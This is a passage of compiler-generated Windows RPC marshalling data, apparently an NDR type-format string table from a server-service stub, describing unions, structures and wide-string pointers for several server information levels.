*/\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1874 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1878 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1882 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1884) */\n/* 1884 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1886 */\tNdrFcShort( 0x3033 ),\t/* 12339 */\n/* 1888 */\tNdrFcLong( 0x64 ),\t/* 100 */\n/* 1892 */\tNdrFcShort( 0x130 ),\t/* Offset= 304 (2196) */\n/* 1894 */\tNdrFcLong( 0x65 ),\t/* 101 */\n/* 1898 */\tNdrFcShort( 0x13e ),\t/* Offset= 318 (2216) */\n/* 1900 */\tNdrFcLong( 0x66 ),\t/* 102 */\n/* 1904 */\tNdrFcShort( 0x156 ),\t/* Offset= 342 (2246) */\n/* 1906 */\tNdrFcLong( 0x67 ),\t/* 103 */\n/* 1910 */\tNdrFcShort( 0x178 ),\t/* Offset= 376 (2286) */\n/* 1912 */\tNdrFcLong( 0x1f6 ),\t/* 502 */\n/* 1916 */\tNdrFcShort( 0x19c ),\t/* Offset= 412 (2328) */\n/* 1918 */\tNdrFcLong( 0x1f7 ),\t/* 503 */\n/* 1922 */\tNdrFcShort( 0x1b2 ),\t/* Offset= 434 (2356) */\n/* 1924 */\tNdrFcLong( 0x257 ),\t/* 599 */\n/* 1928 */\tNdrFcShort( 0x1e8 ),\t/* Offset= 488 (2416) */\n/* 1930 */\tNdrFcLong( 0x3ed ),\t/* 1005 */\n/* 1934 */\tNdrFcShort( 0x22c ),\t/* Offset= 556 (2490) */\n/* 1936 */\tNdrFcLong( 0x453 ),\t/* 1107 */\n/* 1940 */\tNdrFcShort( 0xfa1e ),\t/* Offset= -1506 (434) */\n/* 1942 */\tNdrFcLong( 0x3f2 ),\t/* 1010 */\n/* 1946 */\tNdrFcShort( 0xfa18 ),\t/* Offset= -1512 (434) */\n/* 1948 */\tNdrFcLong( 0x3f8 ),\t/* 1016 */\n/* 1952 */\tNdrFcShort( 0xfa12 ),\t/* Offset= -1518 (434) */\n/* 1954 */\tNdrFcLong( 0x3f9 ),\t/* 1017 */\n/* 1958 */\tNdrFcShort( 0xfa0c ),\t/* Offset= -1524 (434) */\n/* 1960 */\tNdrFcLong( 0x3fa ),\t/* 1018 */\n/* 1964 */\tNdrFcShort( 0xfa06 ),\t/* Offset= -1530 (434) */\n/* 1966 */\tNdrFcLong( 0x5dd ),\t/* 1501 */\n/* 1970 */\tNdrFcShort( 0xfa00 ),\t/* Offset= -1536 (434) */\n/* 1972 */\tNdrFcLong( 0x5de ),\t/* 1502 */\n/* 1976 */\tNdrFcShort( 0xf9fa ),\t/* Offset= -1542 (434) */\n/* 1978 */\tNdrFcLong( 0x5df ),\t/* 1503 */\n/* 1982 */\tNdrFcShort( 0xf9f4 ),\t/* Offset= -1548 (434) */\n/* 1984 */\tNdrFcLong( 0x5e2 ),\t/* 1506 */\n/* 1988 */\tNdrFcShort( 0xf9ee ),\t/* Offset= -1554 (434) */\n/* 1990 */\tNdrFcLong( 0x5e6 ),\t/* 1510 */\n/* 1994 */\tNdrFcShort( 0xf9e8 ),\t/* Offset= -1560 (434) */\n/* 1996 */\tNdrFcLong( 0x5e7 ),\t/* 1511 */\n/* 2000 */\tNdrFcShort( 0xf9e2 ),\t/* Offset= -1566 (434) */\n/* 2002 */\tNdrFcLong( 0x5e8 ),\t/* 1512 */\n/* 2006 */\tNdrFcShort( 0xf9dc ),\t/* Offset= -1572 (434) */\n/* 2008 */\tNdrFcLong( 0x5e9 ),\t/* 1513 */\n/* 2012 */\tNdrFcShort( 0xf9d6 ),\t/* Offset= -1578 (434) */\n/* 2014 */\tNdrFcLong( 0x5ea ),\t/* 1514 */\n/* 2018 */\tNdrFcShort( 0xf9d0 ),\t/* Offset= -1584 (434) */\n/* 2020 */\tNdrFcLong( 0x5eb ),\t/* 1515 */\n/* 2024 */\tNdrFcShort( 0xf9ca ),\t/* Offset= -1590 (434) */\n/* 2026 */\tNdrFcLong( 0x5ec ),\t/* 1516 */\n/* 2030 */\tNdrFcShort( 0xf9c4 ),\t/* Offset= -1596 (434) */\n/* 2032 */\tNdrFcLong( 0x5ee ),\t/* 1518 */\n/* 2036 */\tNdrFcShort( 0xf9be ),\t/* Offset= -1602 (434) */\n/* 2038 */\tNdrFcLong( 0x5f3 ),\t/* 1523 */\n/* 2042 */\tNdrFcShort( 0xf9b8 ),\t/* Offset= -1608 (434) */\n/* 2044 */\tNdrFcLong( 0x5f8 ),\t/* 1528 */\n/* 2048 */\tNdrFcShort( 0xf9b2 ),\t/* Offset= -1614 (434) */\n/* 2050 */\tNdrFcLong( 0x5f9 ),\t/* 1529 */\n/* 2054 */\tNdrFcShort( 0xf9ac ),\t/* Offset= -1620 (434) */\n/* 2056 */\tNdrFcLong( 0x5fa ),\t/* 1530 */\n/* 2060 */\tNdrFcShort( 0xf9a6 ),\t/* Offset= -1626 (434) */\n/* 2062 */\tNdrFcLong( 0x5fd ),\t/* 1533 */\n/* 2066 */\tNdrFcShort( 0xf9a0 ),\t/* Offset= -1632 (434) */\n/* 2068 */\tNdrFcLong( 0x5fe ),\t/* 1534 */\n/* 2072 */\tNdrFcShort( 0xf99a ),\t/* Offset= -1638 (434) */\n/* 2074 */\tNdrFcLong( 0x5ff ),\t/* 1535 */\n/* 2078 */\tNdrFcShort( 0xf994 ),\t/* Offset= -1644 (434) */\n/* 2080 */\tNdrFcLong( 0x600 ),\t/* 1536 */\n/* 2084 */\tNdrFcShort( 0xf98e ),\t/* Offset= -1650 (434) */\n/* 2086 */\tNdrFcLong( 0x602 ),\t/* 1538 */\n/* 2090 */\tNdrFcShort( 0xf988 ),\t/* Offset= -1656 (434) */\n/* 2092 */\tNdrFcLong( 0x603 ),\t/* 1539 */\n/* 2096 */\tNdrFcShort( 0xf982 ),\t/* Offset= -1662 (434) */\n/* 2098 */\tNdrFcLong( 0x604 ),\t/* 1540 */\n/* 2102 */\tNdrFcShort( 0xf97c ),\t/* Offset= -1668 (434) */\n/* 2104 */\tNdrFcLong( 0x605 ),\t/* 1541 */\n/* 2108 */\tNdrFcShort( 0xf976 ),\t/* Offset= -1674 (434) */\n/* 2110 */\tNdrFcLong( 0x606 ),\t/* 1542 */\n/* 2114 */\tNdrFcShort( 0xf970 ),\t/* Offset= -1680 (434) */\n/* 2116 */\tNdrFcLong( 0x607 ),\t/* 1543 */\n/* 2120 */\tNdrFcShort( 0xf96a ),\t/* Offset= -1686 (434) */\n/* 2122 */\tNdrFcLong( 0x608 ),\t/* 1544 */\n/* 2126 */\tNdrFcShort( 0xf964 ),\t/* Offset= -1692 (434) */\n/* 2128 */\tNdrFcLong( 0x609 ),\t/* 1545 */\n/* 2132 */\tNdrFcShort( 0xf95e ),\t/* Offset= -1698 (434) */\n/* 2134 */\tNdrFcLong( 0x60a ),\t/* 1546 */\n/* 2138 */\tNdrFcShort( 0xf958 ),\t/* Offset= -1704 (434) */\n/* 2140 */\tNdrFcLong( 0x60b ),\t/* 1547 */\n/* 2144 */\tNdrFcShort( 0xf952 ),\t/* Offset= -1710 (434) */\n/* 2146 */\tNdrFcLong( 0x60c ),\t/* 1548 */\n/* 2150 */\tNdrFcShort( 0xf94c ),\t/* Offset= -1716 (434) */\n/* 2152 */\tNdrFcLong( 0x60d ),\t/* 1549 */\n/* 2156 */\tNdrFcShort( 0xf946 ),\t/* Offset= -1722 (434) */\n/* 2158 */\tNdrFcLong( 0x60e ),\t/* 1550 */\n/* 2162 */\tNdrFcShort( 0xf940 ),\t/* Offset= -1728 (434) */\n/* 2164 */\tNdrFcLong( 0x610 ),\t/* 1552 */\n/* 2168 */\tNdrFcShort( 0xf93a ),\t/* Offset= -1734 (434) */\n/* 2170 */\tNdrFcLong( 0x611 ),\t/* 1553 */\n/* 2174 */\tNdrFcShort( 0xf934 ),\t/* Offset= -1740 (434) */\n/* 2176 */\tNdrFcLong( 0x612 ),\t/* 1554 */\n/* 2180 */\tNdrFcShort( 0xf92e ),\t/* Offset= -1746 (434) */\n/* 2182 */\tNdrFcLong( 0x613 ),\t/* 1555 */\n/* 2186 */\tNdrFcShort( 0xf928 ),\t/* Offset= -1752 (434) */\n/* 2188 */\tNdrFcLong( 0x614 ),\t/* 1556 */\n/* 2192 */\tNdrFcShort( 0xf922 ),\t/* Offset= -1758 (434) */\n/* 2194 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (2193) */\n/* 2196 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2198 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2200) */\n/* 2200 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2202 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 2204 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2206 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (2212) */\n/* 2208 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2210 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2212 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2214 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2216 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2218 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2220) */\n/* 2220 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2222 */\tNdrFcShort( 0x28 ),\t/* 40 */\n/* 2224 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2226 */\tNdrFcShort( 0xc ),\t/* Offset= 12 (2238) */\n/* 2228 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2230 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2232 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2234 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2236 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2238 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2240 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2242 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2244 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2246 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2248 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2250) */\n/* 2250 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2252 */\tNdrFcShort( 0x48 ),\t/* 72 */\n/* 2254 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2256 */\tNdrFcShort( 0x12 ),\t/* Offset= 18 (2274) */\n/* 2258 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2260 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2262 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2264 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2266 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2268 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2270 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2272 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2274 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2276 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2278 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2280 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2282 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2284 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2286 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2288 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2290) */\n/* 2290 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2292 */\tNdrFcShort( 0x50 ),\t/* 80 */\n/* 2294 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2296 */\tNdrFcShort( 0x14 ),\t/* Offset= 20 (2316) */\n/* 2298 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2300 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2302 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2304 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2306 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2308 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2310 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2312 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2314 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2316 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2318 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2320 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2322 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2324 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2326 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2328 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2330 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2332) */\n/* 2332 */\t\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2334 */\tNdrFcShort( 0x48 ),\t/* 72 */\n/* 2336 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2338 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2340 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2342 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2344 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2346 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2348 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2350 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2352 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2354 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2356 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2358 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2360) */\n/* 2360 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2362 */\tNdrFcShort( 0xb0 ),\t/* 176 */\n/* 2364 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2366 */\tNdrFcShort( 0x2e ),\t/* Offset= 46 (2412) */\n/* 2368 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2370 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2372 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2374 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2376 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2378 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2380 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2382 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2384 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2386 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2388 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2390 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2392 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2394 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2396 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2398 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2400 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2402 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2404 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2406 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2408 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2410 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2412 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2414 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2416 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2418 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2420) */\n/* 2420 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2422 */\tNdrFcShort( 0xe8 ),\t/* 232 */\n/* 2424 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2426 */\tNdrFcShort( 0x3c ),\t/* Offset= 60 (2486) */\n/* 2428 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2430 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2432 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2434 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2436 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2438 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2440 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2442 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2444 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2446 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2448 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2450 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2452 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2454 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2456 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2458 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2460 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2462 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2464 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2466 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2468 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2470 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2472 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2474 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2476 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2478 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2480 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2482 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2484 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2486 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2488 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2490 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2492 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2494) */\n/* 2494 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2496 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2498 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2500 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (2504) */\n/* 2502 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2504 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2506 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2508 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 2510 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2512) */\n/* 2512 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 2514 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 2516 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2518 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 2520 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2522 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2526 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2530 */\tNdrFcShort( 0xfd7a ),\t/* Offset= -646 (1884) */\n/* 2532 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 2534 */\tNdrFcShort( 0x3e ),\t/* Offset= 62 (2596) */\n/* 2536 */\t\n\t\t\t0x29,\t\t/* FC_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2538 */\tNdrFcShort( 0x3 ),\t/* 3 */\n/* 2540 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x1,\t\t/* 1 */\n/* 2542 */\tNdrFcShort( 0x6 ),\t/* 6 */\n/* 2544 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2546 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (2546) */\n/* 2548 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 2550 */\tNdrFcShort( 0xfff2 ),\t/* Offset= -14 (2536) */\n/* 2552 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2554 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x1,\t\t/* 1 */\n/* 2556 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2558 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 2560 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2562 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 2564 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2566 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2570 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2574 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 2576 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2578 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 2580 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2582 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2586 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2590 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 2592 */\tNdrFcShort( 0xffcc ),\t/* Offset= -52 (2540) */\n/* 2594 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2596 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2598 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 2600 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2602 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (2608) */\n/* 2604 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2606 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2608 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 2610 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (2554) */\n/* 2612 */\t\n\t\t\t0x11, 0x14,\t/* FC_RP [alloced_on_stack] [pointer_deref] */\n/* 2614 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2616) */\n/* 2616 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2618 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2620) */\n/* 2620 */\t\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2622 */\tNdrFcShort( 0x44 ),\t/* 68 */\n/* 2624 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2626 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2628 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2630 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2632 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2634 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2636 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2638 */\t0x8,\t\t/* FC_LONG 